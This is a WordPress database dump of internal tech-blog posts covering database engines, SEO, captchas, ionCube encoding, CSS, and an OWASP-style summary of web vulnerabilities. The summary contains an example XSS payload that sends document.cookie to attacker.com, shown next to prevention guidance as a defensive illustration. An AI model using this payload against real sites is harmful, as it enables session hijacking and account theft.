Queries</td>\r\n<td>Use when there is more Write Queries</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>3</td>\r\n<td>Available hardware</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td width=\"247\">Requires additional hardware in order to function as efficiently as MyISAM</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>4</td>\r\n<td>Locking Schema</td>\r\n<td width=\"288\">MyISAM uses table-level locking. That means that if you run a query against the table, the whole table will be locked.</td>\r\n<td width=\"247\">InnoDB uses row-level rather than table-level locking. If a row is being inserted, updated or deleted, only changes to the same row are held up until that request has completed.\r\n\r\nTables that receive more updates than selects may be faster with InnoDB.</td>\r\n</tr>\r\n<tr>\r\n<td>&nbsp;</td>\r\n<td>&nbsp;</td>\r\n<td width=\"288\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>5</td>\r\n<td>Changing database engine</td>\r\n<td width=\"288\">alter table tablename Engine=innodb;</td>\r\n<td>alter table tablename Engine=myisam;</td>\r\n</tr>\r\n</tbody>\r\n</table>','Comparison between MyIsam and Innodb','','inherit','open','open','','183-revision-v1','','','2014-07-21 11:34:35','2014-07-21 11:34:35','',183,'http://localhost/yalavarthitechnologies/blog/?p=184',0,'revision','',0),(185,1,'2014-07-21 11:36:49','2014-07-21 11:36:49','<strong>Summary:</strong>\n\nDescription: <b></b>\n<table width=\"790\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td width=\"64\">S.No</td>\n<td width=\"192\">Particular</td>\n<td width=\"288\">MyISAM</td>\n<td width=\"247\">InnoDB</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td></td>\n<td></td>\n</tr>\n<tr>\n<td>1</td>\n<td>Limitation</td>\n<td>No foreign keys and cascading deletes/updates</td>\n<td>No full text search</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td>No transactional integrity (ACID compliance)</td>\n<td></td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td width=\"288\">No rollback abilities</td>\n<td></td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td width=\"288\"></td>\n<td></td>\n</tr>\n<tr>\n<td>2</td>\n<td>Decision for selecting DB Engine</td>\n<td width=\"288\">Good to use when there is more Read Queries</td>\n<td>Use when there is more Write Queries</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td width=\"288\"></td>\n<td></td>\n</tr>\n<tr>\n<td>3</td>\n<td>Available hardware</td>\n<td width=\"288\"></td>\n<td width=\"247\">Requires additional hardware in order to function as efficiently as MyISAM</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td width=\"288\"></td>\n<td></td>\n</tr>\n<tr>\n<td>4</td>\n<td>Locking Schema</td>\n<td width=\"288\">MyISAM uses table-level locking. That means that if you run a query against the table, the whole table will be locked.</td>\n<td width=\"247\">InnoDB uses row-level rather than table-level locking. If a row is being inserted, updated or deleted, only changes to the same row are held up until that request has completed.Tables that receive more updates than selects may be faster with InnoDB.</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td width=\"288\"></td>\n<td></td>\n</tr>\n<tr>\n<td>5</td>\n<td>Changing database engine</td>\n<td width=\"288\">alter table tablename Engine=innodb;</td>\n<td>alter table tablename Engine=myisam;</td>\n</tr>\n</tbody>\n</table>','Comparison between MyIsam and Innodb','','inherit','open','open','','183-autosave-v1','','','2014-07-21 11:36:49','2014-07-21 11:36:49','',183,'http://localhost/yalavarthitechnologies/blog/?p=185',0,'revision','',0),(186,1,'2014-07-21 11:37:07','2014-07-21 11:37:07','<strong>Summary:</strong>\r\n\r\nDescription: Open <a href=\"http://utilu.com/IECollection/\" target=\"_blank\">http://utilu.com/IECollection/</a> to install multiple versions of Internet Explorer.\r\n\r\nOpen \"http://www.softpedia.com/get/Internet/Browsers/Utilu-Mozilla-Firefox-Collection.shtml\" to install multiple versions of Mozilla.\r\n\r\n<a href=\"http://utilu.com/IECollection/\" target=\"_blank\">\r\n</a>\r\n\r\n<b>Note:</b> You can also find the .exe file (IE) at \\\\srvcollabor\\Share-dev\\software\\IECollection1705\r\n\r\nMozilla collection at \\\\srvcollabor\\Share-dev\\software\\MozillaCollection','Multiple versions of Internet Explorer & Mozilla','','publish','open','open','','multiple-versions-of-internet-explorer-mozilla','','','2014-07-21 11:37:07','2014-07-21 11:37:07','',0,'http://localhost/yalavarthitechnologies/blog/?p=186',0,'post','',0),(187,1,'2014-07-21 11:55:38','2014-07-21 11:55:38','<strong>Summary:</strong>\r\n\r\n* The Simple way to say is It can give us brand exposure.\r\n\r\n* To say some thing more about SEO:-\r\n\r\nWhen any one create website for business point of view, owner of website want that each and every person uses his services or product. But question is how people will know about his services? Solution is \"SEO\" Most of users search on internet for buy product they uses search engine and website which they found on top, uses their services. And getting top ranking on search engine SEO is only way... to get more visiblity to our website with Targetted traffic.\r\n\r\nHere is some useful stuff:-\r\n\r\nBuild backlinks to your website and increase your PR and search engine rankings. I suggest these sites and i found good stuff what are sites listed below..\r\n\r\n<a href=\"http://www.directorycritic.com/\"><cite>http://www.<b>directorycritic</b>.com</cite></a>\r\n\r\n<a href=\"http://www.buildmylink.com/\"><cite><b>http://www.buildmylink</b></cite><cite>.com</cite></a>','Why is Search Engine Optimization (SEO) Important?','','publish','open','open','','why-is-search-engine-optimization-seo-important','','','2014-07-21 11:55:38','2014-07-21 11:55:38','',0,'http://localhost/yalavarthitechnologies/blog/?p=187',0,'post','',0),(188,1,'2014-07-21 11:37:07','2014-07-21 11:37:07','<strong>Summary:</strong>\r\n\r\nDescription: Open <a href=\"http://utilu.com/IECollection/\" target=\"_blank\">http://utilu.com/IECollection/</a> to install multiple versions of Internet Explorer.\r\n\r\nOpen \"http://www.softpedia.com/get/Internet/Browsers/Utilu-Mozilla-Firefox-Collection.shtml\" to install multiple versions of Mozilla.\r\n\r\n<a href=\"http://utilu.com/IECollection/\" target=\"_blank\">\r\n</a>\r\n\r\n<b>Note:</b> You can also find the .exe file (IE) at \\\\srvcollabor\\Share-dev\\software\\IECollection1705\r\n\r\nMozilla collection at \\\\srvcollabor\\Share-dev\\software\\MozillaCollection','Multiple versions of Internet Explorer & Mozilla','','inherit','open','open','','186-revision-v1','','','2014-07-21 11:37:07','2014-07-21 11:37:07','',186,'http://localhost/yalavarthitechnologies/blog/?p=188',0,'revision','',0),(189,1,'2014-07-21 11:52:46','2014-07-21 11:52:46','','Multiple versions of Internet Explorer & Mozilla','','inherit','open','open','','186-autosave-v1','','','2014-07-21 11:52:46','2014-07-21 11:52:46','',186,'http://localhost/yalavarthitechnologies/blog/?p=189',0,'revision','',0),(190,1,'2014-07-21 11:55:38','2014-07-21 11:55:38','<strong>Summary:</strong>\r\n\r\n* The Simple way to say is It can give us brand exposure.\r\n\r\n* To say some thing more about SEO:-\r\n\r\nWhen any one create website for business point of view, owner of website want that each and every person uses his services or product. But question is how people will know about his services? Solution is \"SEO\" Most of users search on internet for buy product they uses search engine and website which they found on top, uses their services. And getting top ranking on search engine SEO is only way... to get more visiblity to our website with Targetted traffic.\r\n\r\nHere is some useful stuff:-\r\n\r\nBuild backlinks to your website and increase your PR and search engine rankings. I suggest these sites and i found good stuff what are sites listed below..\r\n\r\n<a href=\"http://www.directorycritic.com/\"><cite>http://www.<b>directorycritic</b>.com</cite></a>\r\n\r\n<a href=\"http://www.buildmylink.com/\"><cite><b>http://www.buildmylink</b></cite><cite>.com</cite></a>','Why is Search Engine Optimization (SEO) Important?','','inherit','open','open','','187-revision-v1','','','2014-07-21 11:55:38','2014-07-21 11:55:38','',187,'http://localhost/yalavarthitechnologies/blog/?p=190',0,'revision','',0),(191,1,'2014-07-21 12:01:08','2014-07-21 12:01:08','<strong>Summary:\r\n</strong>\r\n\r\nServer side validations are must for Public pages to avoid spam.\r\n\r\nIn socialsphere website, spam comments were posted under website blogs section.\r\n\r\nBlog section doesn\'t require login for writing comments.  This page had client side validations for captcha and textboxes. The client side validations can not stop if someone is posting comments through some script. Its better to implement server side validations if any page is taking input from general public.\r\n\r\n\r\nWe changed page captcha to Zend captcha to increase the captcha complexity. This adds lines, dots and changes to text orientation in every request.\r\n\r\nSome of the useful links I came accross:\r\nhttp://caca.zoy.org/wiki/PWNtcha\r\nhttp://www.google.com/recaptcha\r\n\r\n\r\nSome strange thing for me is PHP $_SERVER[\'HOST\'] has many host names and one of them was \"socialsphere.com\" in it. How is it possible to have many hosts for a http request ?','Avoid spam comments','','publish','open','open','','avoid-spam-comments','','','2014-07-21 12:01:08','2014-07-21 12:01:08','',0,'http://localhost/yalavarthitechnologies/blog/?p=191',0,'post','',0),(192,1,'2014-07-21 11:56:27','2014-07-21 11:56:27','<strong>Summary:</strong>\n\n* The Simple way to say is It can give us brand exposure.\n\n* To say some thing more about SEO:-\n\nWhen any one create website for business point of view, owner of website want that each and every person uses his services or product. But question is how people will know about his services? Solution is \"SEO\" Most of users search on internet for buy product they uses search engine and website which they found on top, uses their services. And getting top ranking on search engine SEO is only way... to get more visiblity to our website with Targetted traffic.\n\nHere is some useful stuff:-\n\nBuild backlinks to your website and increase your PR and search engine rankings. I suggest these sites and i found good stuff what are sites listed below..\n\n<a href=\"http://www.directorycritic.com/\"><cite>http://www.<b>directorycritic</b>.com</cite></a>\n\n<a href=\"http://www.buildmylink.com/\"><cite><b>http://www.buildmylink</b></cite><cite>.com</cite></a>','Why is Search Engine Optimization (SEO) Important?','','inherit','open','open','','187-autosave-v1','','','2014-07-21 11:56:27','2014-07-21 11:56:27','',187,'http://localhost/yalavarthitechnologies/blog/?p=192',0,'revision','',0),(193,1,'2014-07-21 12:01:08','2014-07-21 12:01:08','<strong>Summary:\r\n</strong>\r\n\r\nServer side validations are must for Public pages to avoid spam.\r\n\r\nIn socialsphere website, spam comments were posted under website blogs section.\r\n\r\nBlog section doesn\'t require login for writing comments.  This page had client side validations for captcha and textboxes. The client side validations can not stop if someone is posting comments through some script. Its better to implement server side validations if any page is taking input from general public.\r\n\r\n\r\nWe changed page captcha to Zend captcha to increase the captcha complexity. This adds lines, dots and changes to text orientation in every request.\r\n\r\nSome of the useful links I came accross:\r\nhttp://caca.zoy.org/wiki/PWNtcha\r\nhttp://www.google.com/recaptcha\r\n\r\n\r\nSome strange thing for me is PHP $_SERVER[\'HOST\'] has many host names and one of them was \"socialsphere.com\" in it. How is it possible to have many hosts for a http request ?','Avoid spam comments','','inherit','open','open','','191-revision-v1','','','2014-07-21 12:01:08','2014-07-21 12:01:08','',191,'http://localhost/yalavarthitechnologies/blog/?p=193',0,'revision','',0),(194,1,'2014-07-21 12:03:49','2014-07-21 12:03:49','<strong>Summary:</strong>\r\n\r\nOne of the issues PHP developers face is that PHP is an interpreted language, meaning PHP source code is readable by anybody who downloads your applications. This article will tell you how to protect your intellectual property by encoding your PHP source code.\r\n\r\nThe tool we are going to use to protect our code is ionCube PHP Encoder. Before releasing your PHP software, you use the encoder to convert your plain-text PHP files into special encrypted files.\r\nNote: While ionCube PHP Encoder is a commercial product, there is a time-limited trial available for download.\r\n\r\nBecause your PHP is encoded into a special byte-code (as opposed to just being obfuscated), a loader must be installed on your web server. A loader is a PHP module that must be installed.\r\nNote: Fortunately, ionCube PHP Encoder is commonly used and therefore many web hosts will already have a loader installed.\r\n\r\nOn the ionCube website there is a loaders page which contains the latest versions of the loader for all supported platforms (you must install the correct loader for your platform).\r\nNote: You will need the loader for your platform installed in order to be able to run code you encode from this article.\r\nBefore we proceed, let\'s take a quick look at an encoded file. Listing 1 shows a basic PHP script.\r\nListing 1 A basic \"Hello World\" script (helloworld.php)\r\n<!--?php     echo \"Hello, world!\\n\"; ?-->\r\nWe can then run this script through the encoder. While there are many different options available, encoding a script with the default options yields the following PHP file.\r\nListing 2 Encoded version of \"Hello World\" (helloworld-enc.php)\r\n<!--?php //000a8 echo(\'Site error: the file <b-->\'.__FILE__.\' requires the ionCube PHP Loader \'. basename($__ln).\' to be installed by the site administrator.\');exit(199); ?&gt; 4+oV5BgRgd22U2z7JoK/KmKPIcszhD8pg3hvN+5vc4HFcsGMn/El/4CMYaLFFzaqguLCeb9su8xn i0+eWxJg/kwNHRkiBvY1aMf1AvwPf14DIwCvegtJC7cbx9cN5jBjwSspVjhVsQnxFx9oBut6R0Kc V+OLw6XBTNm5sKpbL6DVm2jqk8Wasm9oJgKLZxBtvVBeP5vZrOiod+L7SoplcmTgtyr5wzS3sEzj r7ixXPUY4H82MyuzZyjYTkSKkz9qlMzWHddrUHJX3y0zPfDqWDUeD1BibJQJ9BXkP7jb4pdKQv/h sMqhthNQQRSp6nOJHq8oDDYLE+p403GYs2As9qEI2wNAg6j6ln0BRP7shcbNTb5a8O4VjjLhGDwG 1AYOxaM4R5QneCFr+xYdtEYSep8FW1i9IBzF1FuDa7eMoPDqaQdjTLAPsy5O831yGpAHohx3FzUK aewZTV+tdru=\r\nWhile you cannot understand what this code does just by looking at it, your PHP installation with the correct loader installed interprets this just as if it was the code in Listing 1.\r\n\r\nEncoding Your PHP Files\r\nThe ionCube PHP Encoder is a command-line script you run either one or more files, or on an entire set of folders. If you\'re encoding an entire PHP application you would typically run it on the original source folder. The encoder will duplicate the entire tree, except the PHP code will be encoded.\r\nThe command we used to generate this encoded script is as shown in Listing 3.\r\nListing 3 Basic usage of the encoder (listing-3.txt)\r\n/usr/local/ioncube/ioncube_encoder5 helloworld.php -o helloworld-enc.php\r\nIn this example, the -o specified the output location. In this example we just created the encoded file in the same directory with a different filename. Typically you would want to create the file with the same filename as the original (without replacing the original source code).\r\nTo achieve this, set the input and output both to be a directory. The encoder will automatically recurse through all directories in the input directory and encode all PHP files.\r\nTo demonstrate this, let\'s assume helloworld.php is in a directory called src. Listing 4 shows the command we use to encode this entire path. The example outputs the encoded files to the build directory.\r\nListing 4 Encoding an entire directory (listing-4.txt)\r\n/usr/local/ioncube/ioncube_encoder5 src -o build\r\nWe now have a directory called build which is identical to src except that the PHP files are encoded.\r\nNote: Even non-PHP files (such as images or stylesheets) are also copied as-is into the target directory.\r\nSource: http://www.phpriot.com/articles/protecting-php-with-ioncube-encoder/','Protecting Your PHP Source Code With ionCube Encoder','','publish','open','open','','protecting-your-php-source-code-with-ioncube-encoder','','','2014-07-21 12:03:49','2014-07-21 12:03:49','',0,'http://localhost/yalavarthitechnologies/blog/?p=194',0,'post','',0),(195,1,'2014-07-21 12:03:49','2014-07-21 12:03:49','<strong>Summary:</strong>\r\n\r\nOne of the issues PHP developers face is that PHP is an interpreted language, meaning PHP source code is readable by anybody who downloads your applications. This article will tell you how to protect your intellectual property by encoding your PHP source code.\r\n\r\nThe tool we are going to use to protect our code is ionCube PHP Encoder. Before releasing your PHP software, you use the encoder to convert your plain-text PHP files into special encrypted files.\r\nNote: While ionCube PHP Encoder is a commercial product, there is a time-limited trial available for download.\r\n\r\nBecause your PHP is encoded into a special byte-code (as opposed to just being obfuscated), a loader must be installed on your web server. A loader is a PHP module that must be installed.\r\nNote: Fortunately, ionCube PHP Encoder is commonly used and therefore many web hosts will already have a loader installed.\r\n\r\nOn the ionCube website there is a loaders page which contains the latest versions of the loader for all supported platforms (you must install the correct loader for your platform).\r\nNote: You will need the loader for your platform installed in order to be able to run code you encode from this article.\r\nBefore we proceed, let\'s take a quick look at an encoded file. Listing 1 shows a basic PHP script.\r\nListing 1 A basic \"Hello World\" script (helloworld.php)\r\n<!--?php     echo \"Hello, world!\\n\"; ?-->\r\nWe can then run this script through the encoder. While there are many different options available, encoding a script with the default options yields the following PHP file.\r\nListing 2 Encoded version of \"Hello World\" (helloworld-enc.php)\r\n<!--?php //000a8 echo(\'Site error: the file <b-->\'.__FILE__.\' requires the ionCube PHP Loader \'. basename($__ln).\' to be installed by the site administrator.\');exit(199); ?&gt; 4+oV5BgRgd22U2z7JoK/KmKPIcszhD8pg3hvN+5vc4HFcsGMn/El/4CMYaLFFzaqguLCeb9su8xn i0+eWxJg/kwNHRkiBvY1aMf1AvwPf14DIwCvegtJC7cbx9cN5jBjwSspVjhVsQnxFx9oBut6R0Kc V+OLw6XBTNm5sKpbL6DVm2jqk8Wasm9oJgKLZxBtvVBeP5vZrOiod+L7SoplcmTgtyr5wzS3sEzj r7ixXPUY4H82MyuzZyjYTkSKkz9qlMzWHddrUHJX3y0zPfDqWDUeD1BibJQJ9BXkP7jb4pdKQv/h sMqhthNQQRSp6nOJHq8oDDYLE+p403GYs2As9qEI2wNAg6j6ln0BRP7shcbNTb5a8O4VjjLhGDwG 1AYOxaM4R5QneCFr+xYdtEYSep8FW1i9IBzF1FuDa7eMoPDqaQdjTLAPsy5O831yGpAHohx3FzUK aewZTV+tdru=\r\nWhile you cannot understand what this code does just by looking at it, your PHP installation with the correct loader installed interprets this just as if it was the code in Listing 1.\r\n\r\nEncoding Your PHP Files\r\nThe ionCube PHP Encoder is a command-line script you run either one or more files, or on an entire set of folders. If you\'re encoding an entire PHP application you would typically run it on the original source folder. The encoder will duplicate the entire tree, except the PHP code will be encoded.\r\nThe command we used to generate this encoded script is as shown in Listing 3.\r\nListing 3 Basic usage of the encoder (listing-3.txt)\r\n/usr/local/ioncube/ioncube_encoder5 helloworld.php -o helloworld-enc.php\r\nIn this example, the -o specified the output location. In this example we just created the encoded file in the same directory with a different filename. Typically you would want to create the file with the same filename as the original (without replacing the original source code).\r\nTo achieve this, set the input and output both to be a directory. The encoder will automatically recurse through all directories in the input directory and encode all PHP files.\r\nTo demonstrate this, let\'s assume helloworld.php is in a directory called src. Listing 4 shows the command we use to encode this entire path. The example outputs the encoded files to the build directory.\r\nListing 4 Encoding an entire directory (listing-4.txt)\r\n/usr/local/ioncube/ioncube_encoder5 src -o build\r\nWe now have a directory called build which is identical to src except that the PHP files are encoded.\r\nNote: Even non-PHP files (such as images or stylesheets) are also copied as-is into the target directory.\r\nSource: http://www.phpriot.com/articles/protecting-php-with-ioncube-encoder/','Protecting Your PHP Source Code With ionCube Encoder','','inherit','open','open','','194-revision-v1','','','2014-07-21 12:03:49','2014-07-21 12:03:49','',194,'http://localhost/yalavarthitechnologies/blog/?p=195',0,'revision','',0),(196,1,'2014-07-21 12:07:46','2014-07-21 12:07:46','<strong>Summary:</strong>\r\n\r\n<strong>1. Create a \'list\' class in the CSS file. Make sure that the specified image file in the defined \'list\' class (org_arrow.gif) should be present in the image folder.</strong>\r\n\r\n.list{ padding:0; margin:0;}\r\n.list ul{ padding:0; margin:0;}\r\n.list ul li{ padding:0; margin:0; background-image:url(../images/org_arrow.gif); background-repeat:no-repeat; background-position:left top; list-style:none; padding-left:10px; padding-bottom:5px;}\r\n.list ul li a:link{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#000; text-decoration: none; font-weight:normal;}\r\n.list ul li a:visited{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#000; text-decoration: none; font-weight:normal;}\r\n.list ul li a:hover{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#d22551; text-decoration: none; font-weight:normal;}\r\n\r\n<strong>2. Add the below mentioned code  in the FCK editor\'s \'source\'  to display arrows / bullets in the front end.</strong>\r\nWhat you need to do is, put all the list items in a div and define a pre defined class (&lt;div&gt;) to that div to display &lt;specified image&gt; before the list items in the front end. You should put this \'list\' class in the FCK editor\'s html source &lt;ul&gt; option as mentioned in the \'Sample code\'.\r\n\r\n<strong>Sample code:</strong>\r\n\r\n&lt;div&gt;\r\n&lt;div&gt;\r\n&lt;ul&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Romans barn deep with talent&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Lookin at Lucky adds hood&lt;/a&gt;&lt;/li&gt;\r\n&lt;li &gt;&lt;a href=\"#\"&gt;Conveyance set for San Rafael Stakes&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Gio Ponti looks sharp in drill &lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;St Trinians bound for Santa Maria Handicap&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Abrams eyes big day with Cal-breds&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Contessa has big plans for Eightyfiveinafifty&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;NBC to televise six Derby prep races&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Crisp makes successful jump to stakes&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;$99,000 carryover up for grabs at Philly Park&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt; Neko Bay draws off to win San Pasqual&lt;/a&gt;&lt;/li&gt;\r\n&lt;/ul&gt;&lt;/div&gt;','Is there a fix to lists in the CSS or in the module styles so that an unordered list works?','','publish','open','open','','is-there-a-fix-to-lists-in-the-css-or-in-the-module-styles-so-that-an-unordered-list-works','','','2014-07-21 12:07:47','2014-07-21 12:07:47','',0,'http://localhost/yalavarthitechnologies/blog/?p=196',0,'post','',0),(197,1,'2014-07-21 12:07:47','2014-07-21 12:07:47','<strong>Summary:</strong>\r\n\r\n<strong>1. Create a \'list\' class in the CSS file. Make sure that the specified image file in the defined \'list\' class (org_arrow.gif) should be present in the image folder.</strong>\r\n\r\n.list{ padding:0; margin:0;}\r\n.list ul{ padding:0; margin:0;}\r\n.list ul li{ padding:0; margin:0; background-image:url(../images/org_arrow.gif); background-repeat:no-repeat; background-position:left top; list-style:none; padding-left:10px; padding-bottom:5px;}\r\n.list ul li a:link{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#000; text-decoration: none; font-weight:normal;}\r\n.list ul li a:visited{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#000; text-decoration: none; font-weight:normal;}\r\n.list ul li a:hover{font-family:Arial, Helvetica, sans-serif; font-size:12px; color:#d22551; text-decoration: none; font-weight:normal;}\r\n\r\n<strong>2. Add the below mentioned code  in the FCK editor\'s \'source\'  to display arrows / bullets in the front end.</strong>\r\nWhat you need to do is, put all the list items in a div and define a pre defined class (&lt;div&gt;) to that div to display &lt;specified image&gt; before the list items in the front end. You should put this \'list\' class in the FCK editor\'s html source &lt;ul&gt; option as mentioned in the \'Sample code\'.\r\n\r\n<strong>Sample code:</strong>\r\n\r\n&lt;div&gt;\r\n&lt;div&gt;\r\n&lt;ul&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Romans barn deep with talent&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Lookin at Lucky adds hood&lt;/a&gt;&lt;/li&gt;\r\n&lt;li &gt;&lt;a href=\"#\"&gt;Conveyance set for San Rafael Stakes&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Gio Ponti looks sharp in drill &lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;St Trinians bound for Santa Maria Handicap&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Abrams eyes big day with Cal-breds&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Contessa has big plans for Eightyfiveinafifty&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;NBC to televise six Derby prep races&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;Crisp makes successful jump to stakes&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt;$99,000 carryover up for grabs at Philly Park&lt;/a&gt;&lt;/li&gt;\r\n&lt;li&gt;&lt;a href=\"#\"&gt; Neko Bay draws off to win San Pasqual&lt;/a&gt;&lt;/li&gt;\r\n&lt;/ul&gt;&lt;/div&gt;','Is there a fix to lists in the CSS or in the module styles so that an unordered list works?','','inherit','open','open','','196-revision-v1','','','2014-07-21 12:07:47','2014-07-21 12:07:47','',196,'http://localhost/yalavarthitechnologies/blog/?p=197',0,'revision','',0),(199,1,'2014-07-21 12:11:03','2014-07-21 12:11:03','<strong>Summary:</strong>\r\n\r\n<strong>1. Cross-Site Scripting (XSS) - Impact MODERATE</strong>\r\n\r\nXSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.\r\n\r\nDetection of most XSS flaws is fairly easy via testing or code analysis.\r\n\r\nAttackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.\r\n\r\n<strong>Am I Vulnerable to XSS?</strong>\r\nYou need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.\r\n\r\nBoth static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.\r\n\r\nWeb 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.\r\n\r\n<strong>Example Attack Scenario:</strong>\r\nThe application uses untrusted data in the construction of the following HTML snippet without validation or escaping:\r\n\r\n(String) page += \"&lt;input name=\'creditcard\' type=\'TEXT‘value=\'\" + request.getParameter (\"CC\") + \"\'&gt;\";\r\n\r\nThe attacker modifies the ‘CC’ parameter in their browser to:\r\n\r\n\'&gt;&lt;script&gt;document.location=\'http://www.attacker.com/cgi-bin/cookie.cgi?foo=\'+document.cookie&lt;/script&gt;\'.\r\n\r\nThis causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.\r\n\r\n<strong>How Do I Prevent XSS?</strong>\r\nPreventing XSS requires keeping untrusted data separate from active browser content.\r\n\r\n1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet (http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet) for more information about data escaping techniques.\r\n\r\n2. Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.\r\n\r\n\r\n<strong>2. Insecure Direct Object References: Impact MODERATE</strong>\r\n\r\nA direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.\r\n\r\nThreat Agents: Consider the types of users of your system. Do any users have only partial access to certain types of system data?\r\n\r\nApplications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws and code analysis quickly shows whether authorization is properly verified.\r\n\r\nTechnical Impacts: Such flaws can compromise all the data that can be referenced by the parameter. Unless the name space is sparse, it’s easy for an attacker to access all available data of that type.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:\r\n\r\n1. For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.\r\n\r\n2. If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.\r\n\r\nCode review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.\r\n<b>\r\n<strong>Example Attack Scenario</strong></b>\r\nThe application uses unverified data in a SQL call that is accessing account information:\r\n\r\nString query = \"SELECT * FROM accts WHERE account = ?\";\r\n\r\nPreparedStatement pstmt=connection.prepareStatement (query,);\r\n\r\npstmt.setString (1, request.getparameter (\"acct\"));\r\n\r\nResultSetresults = pstmt.executeQuery ( );\r\n\r\nThe attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.\r\nhttp://example.com/app/accountInfo?acct=notmyacct\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nPreventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):\r\n\r\n1. Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.\r\n\r\n2. Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.\r\n\r\n\r\n\r\n<strong>3. Cross-Site Request Forgery (CSRF): Impact MODERATE</strong>\r\n\r\nA CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.\r\n\r\n\r\nThreat Agents: Consider anyone who can 